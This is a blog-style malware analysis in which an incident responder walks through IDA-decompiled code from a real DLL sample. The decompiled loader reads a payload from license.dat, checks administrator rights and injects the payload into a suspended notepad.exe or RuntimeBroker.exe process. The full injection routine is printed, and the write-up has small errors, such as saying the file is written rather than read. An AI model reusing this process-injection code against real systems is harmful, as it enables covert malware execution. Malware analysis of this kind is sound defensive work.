Avatar
An incident responder who's seeking opportunities to work in technology company!
Operator in Cookie Han Hoan
Admin in Cyber Mely, CyberSpace
Forensic at @World Wide Flags

Malware Analysis - Real Case 2

Hi everyone, after a long time playing CTF, I think it’s suitable to apply all knowledges I’ve learnt to the next real case I want to show you now. The first real case I analysed it in Cyber Monk, you can look at it again if you want. And now it’s how I analysed it. Let’s go! (you can check sample here)

In this sample, I was given a DLL file and the first thing I always did first is checking its profile:

image

It’s a Win64 DLL, and normally I can use speakeasy to analyse it because of fast, but if we just apply dynamic analysis to our sample, maybe there’re some functions hidden that tool cannot detect, so in this sample I will use IDA to analyse step by step:

image

Press F5 to decompile it and now we can analyse it:

image

In the main function, it checked the value of fdwReason variables, if it equals to 1, then it use DisableThreadLibraryCalls API and call function sub_180005A40().

By Microsoft document: The DisableThreadLibraryCalls function lets a DLL disable the DLL_THREAD_ATTACH and DLL_THREAD_DETACH notification calls. This can be a useful optimization for multithreaded applications that have many DLLs, frequently create and delete threads, and whose DLLs do not need these thread-level notifications of attachment/detachment.

In general, it will disable notifications to optimize performance. Next, we will analyse sub_180005A40():

BOOL sub_180005A40()
{
  HMODULE ModuleHandleA; // rax
  HMODULE v1; // rax
  HMODULE v2; // rax
  HMODULE v3; // rax
  const char *v4; // rax
  HANDLE CurrentProcess; // rax
  LPCVOID lpBuffer; // [rsp+A0h] [rbp-608h]
  int i; // [rsp+ACh] [rbp-5FCh]
  FILE *Stream; // [rsp+B0h] [rbp-5F8h]
  void *lpBaseAddress; // [rsp+B8h] [rbp-5F0h]
  FARPROC v11; // [rsp+D0h] [rbp-5D8h]
  FARPROC v12; // [rsp+D8h] [rbp-5D0h]
  FARPROC ProcAddress; // [rsp+E0h] [rbp-5C8h]
  char StartupInfo[112]; // [rsp+E8h] [rbp-5C0h] BYREF
  struct _PROCESS_INFORMATION ProcessInformation; // [rsp+158h] [rbp-550h] BYREF
  SIZE_T NumberOfBytesWritten; // [rsp+170h] [rbp-538h] BYREF
  int v17; // [rsp+178h] [rbp-530h] BYREF
  char v18; // [rsp+17Eh] [rbp-52Ah] BYREF
  int v19; // [rsp+17Fh] [rbp-529h] BYREF
  CHAR ModuleName[13]; // [rsp+183h] [rbp-525h] BYREF
  __m256 v21; // [rsp+190h] [rbp-518h] BYREF
  char v22[19]; // [rsp+1B0h] [rbp-4F8h] BYREF
  char v23[13]; // [rsp+1C3h] [rbp-4E5h] BYREF
  _DWORD v24[62]; // [rsp+1D0h] [rbp-4D8h] BYREF
  void *v25; // [rsp+2C8h] [rbp-3E0h]

  strcpy(v23, "VirtualAlloc");
  strcpy(v22, "SetThreadContext");
  strcpy((char *)&v21.m256_f32[4] + 3, "ResumeThread");
  strcpy((char *)&v21, "GetThreadContext");
  strcpy(ModuleName, "kernel32.dll");
  ModuleHandleA = GetModuleHandleA(ModuleName);
  ProcAddress = GetProcAddress(ModuleHandleA, (LPCSTR)&v21);
  v1 = GetModuleHandleA(ModuleName);
  v12 = GetProcAddress(v1, v22);
  v2 = GetModuleHandleA(ModuleName);
  GetProcAddress(v2, v23);
  v3 = GetModuleHandleA(ModuleName);
  v11 = GetProcAddress(v3, (LPCSTR)&v21.m256_f32[4] + 3);
  v4 = (const char *)sub_1800058F0();
  strcpy(Destination, v4);
  strcat(Destination, "\\license.dat");
  Stream = fopen(Destination, "rb");
  for ( i = 0; fread((void *)(i + qword_18000B230), 1uLL, 1uLL, Stream); ++i )
    ;
  fclose(Stream);
  v17 = i + 1;
  VirtualAlloc(0LL, i + 1, 0x1000u, 2u);
  v19 = 856536534;
  memset(&v18, 0, sizeof(v18));
  lpBuffer = (LPCVOID)sub_1800055D0(qword_18000B230, 22, 12, (unsigned int)&v19, (__int64)&v18, (__int64)&v17, 2);
  memset(StartupInfo, 0, sizeof(StartupInfo));
  if ( (unsigned int)sub_180005F00() )
  {
    sub_180005FF0();
    CreateProcessA(0LL, "notepad.exe", 0LL, 0LL, 0, 0x44u, 0LL, 0LL, (LPSTARTUPINFOA)StartupInfo, &ProcessInformation);
  }
  else
  {
    CreateProcessA(
      0LL,
      "RuntimeBroker.exe",
      0LL,
      0LL,
      0,
      0x44u,
      0LL,
      0LL,
      (LPSTARTUPINFOA)StartupInfo,
      &ProcessInformation);
  }
  v24[12] = 65539;
  ((void (__fastcall *)(HANDLE, _DWORD *))ProcAddress)(ProcessInformation.hThread, v24);
  lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v17, 0x1000u, 0x40u);
  WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, v17, &NumberOfBytesWritten);
  v25 = lpBaseAddress;
  ((void (__fastcall *)(HANDLE, _DWORD *))v12)(ProcessInformation.hThread, v24);
  ((void (__fastcall *)(HANDLE))v11)(ProcessInformation.hThread);
  CloseHandle(ProcessInformation.hThread);
  CloseHandle(ProcessInformation.hProcess);
  CurrentProcess = GetCurrentProcess();
  return TerminateProcess(CurrentProcess, 0);
}

First, it imported some APIs:

strcpy(v23, "VirtualAlloc");
strcpy(v22, "SetThreadContext");
strcpy((char *)&v21.m256_f32[4] + 3, "ResumeThread");
strcpy((char *)&v21, "GetThreadContext");

Second, it found kernel32.dll in computer and extracted its process address:

strcpy(ModuleName, "kernel32.dll");
ModuleHandleA = GetModuleHandleA(ModuleName);
ProcAddress = GetProcAddress(ModuleHandleA, (LPCSTR)&v21);
v1 = GetModuleHandleA(ModuleName);
v12 = GetProcAddress(v1, v22);
v2 = GetModuleHandleA(ModuleName);
GetProcAddress(v2, v23);
v3 = GetModuleHandleA(ModuleName);
v11 = GetProcAddress(v3, (LPCSTR)&v21.m256_f32[4] + 3);
v4 = (const char *)sub_1800058F0();
strcpy(Destination, v4);
strcat(Destination, "\\license.dat");
Stream = fopen(Destination, "rb");
for ( i = 0; fread((void *)(i + qword_18000B230), 1uLL, 1uLL, Stream); ++i )
  ;
fclose(Stream);
v17 = i + 1;
VirtualAlloc(0LL, i + 1, 0x1000u, 2u);

From these lines of code, it executed function sub_1800058F0():

CHAR *sub_1800058F0()
{
  CHAR Filename[272]; // [rsp+30h] [rbp-118h] BYREF

  memset(Filename, 0, 0x105uLL);
  GetModuleFileNameA(0LL, Filename, 0x104u);
  *(_BYTE *)sub_180005980(Filename, 92LL) = 0;
  return Filename;
}

Inside this function, it executed sub_180005980() contains 2 values: Filename and an integer = 92. Let’s analyse sub_180005980():

char *__fastcall sub_180005980(const char *a1, int a2)
{
  return strrchr(a1, a2);
}

In this function it used strrchr, it will return a pointer to the last occurrence of character in the C string, in other words, it will find a string inside a1 that placed after a2. Return to previous function, it called *(_BYTE *)sub_180005980(Filename, 92LL) = 0, with value 92 it equals to \ character, that means it will extract filename after . And now we know how sub_1800058F0() works, let’s return our function!:

v4 = (const char *)sub_1800058F0();
strcpy(Destination, v4);
strcat(Destination, "\\license.dat");
Stream = fopen(Destination, "rb");
for ( i = 0; fread((void *)(i + qword_18000B230), 1uLL, 1uLL, Stream); ++i )
  ;
fclose(Stream);
v17 = i + 1;
VirtualAlloc(0LL, i + 1, 0x1000u, 2u);

Combine all things we analysed before, in this code sub_1800058F0() was imported to Destination, and then it used strcat to combine 2 variables: Destination and license.dat, that means it will write data to license.dat. Next, you can see it will write data from qword_18000B230 to .dat file. Because inside a program, there’re so many functions and that’s a difficulty - we don’t know where to analyse, so I just analysed some functions that looked suspicious.

  if ( (unsigned int)sub_180005F00() )
  {
    sub_180005FF0();
    CreateProcessA(0LL, "notepad.exe", 0LL, 0LL, 0, 0x44u, 0LL, 0LL, (LPSTARTUPINFOA)StartupInfo, &ProcessInformation);
  }
  else
  {
    CreateProcessA(
      0LL,
      "RuntimeBroker.exe",
      0LL,
      0LL,
      0,
      0x44u,
      0LL,
      0LL,
      (LPSTARTUPINFOA)StartupInfo,
      &ProcessInformation);
  }
  v24[12] = 65539;
  ((void (__fastcall *)(HANDLE, _DWORD *))ProcAddress)(ProcessInformation.hThread, v24);
  lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v17, 0x1000u, 0x40u);
  WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, v17, &NumberOfBytesWritten);
  v25 = lpBaseAddress;
  ((void (__fastcall *)(HANDLE, _DWORD *))v12)(ProcessInformation.hThread, v24);
  ((void (__fastcall *)(HANDLE))v11)(ProcessInformation.hThread);
  CloseHandle(ProcessInformation.hThread);
  CloseHandle(ProcessInformation.hProcess);
  CurrentProcess = GetCurrentProcess();
  return TerminateProcess(CurrentProcess, 0);

They are the last lines of sub_180005A40(), and it’s the most suspicious I thought. You can see that they executed sub_180005F00():

_BOOL8 sub_180005F00()
{
  PSID SidToCheck; // [rsp+68h] [rbp-20h] BYREF
  BOOL IsMember; // [rsp+74h] [rbp-14h] BYREF
  struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; // [rsp+78h] [rbp-10h] BYREF

  *(_DWORD *)pIdentifierAuthority.Value = 0;
  *(_WORD *)&pIdentifierAuthority.Value[4] = 1280;
  IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &SidToCheck);
  if ( IsMember )
  {
    if ( !CheckTokenMembership(0LL, SidToCheck, &IsMember) )
      IsMember = 0;
    FreeSid(SidToCheck);
  }
  return IsMember;
}

Very clear, it will check SID and the level of user. There’re two variables: SidToCheck and IsMember. In IsMember, it used AllocateAndInitializeSid API, and following Microsoft document:

The AllocateAndInitializeSid function allocates and initializes a security identifier (SID) with up to eight subauthorities:

BOOL AllocateAndInitializeSid(
  [in]  PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
  [in]  BYTE                      nSubAuthorityCount,
  [in]  DWORD                     nSubAuthority0,
  [in]  DWORD                     nSubAuthority1,
  [in]  DWORD                     nSubAuthority2,
  [in]  DWORD                     nSubAuthority3,
  [in]  DWORD                     nSubAuthority4,
  [in]  DWORD                     nSubAuthority5,
  [in]  DWORD                     nSubAuthority6,
  [in]  DWORD                     nSubAuthority7,
  [out] PSID                      *pSid
);

and the most important component inside this structure is PSID_IDENTIFIER_AUTHORITY, this is a pointer to a SID_IDENTIFIER_AUTHORITY structure, provides the top-level identifier authority value to set in the SID:

image

When it had IsMember value, it would check with SID by using CheckTokenMembership API. This API checks if the current process token includes the specified SID and then it updates IsMember to TRUE if the process is a member of the group, or FALSE otherwise. After had user information, it created a notepad.exe process and then it will overwrite notepad.exe by using WriteProcessMemory API, otherwise it created RuntimeError.exe and did the same. And attacker can use this technique to insert some malicious codes and execute it in target machine!

In conclusion, this sample used Process Injection, which is a technique lets attackers overwrite a running process so that when the process is run, malicious code will be executed!

Thank you very much for reading my article. If you love it please share it to your friends and if you have any question, you can ask me directly. OK see you in the next post, bye!

all tags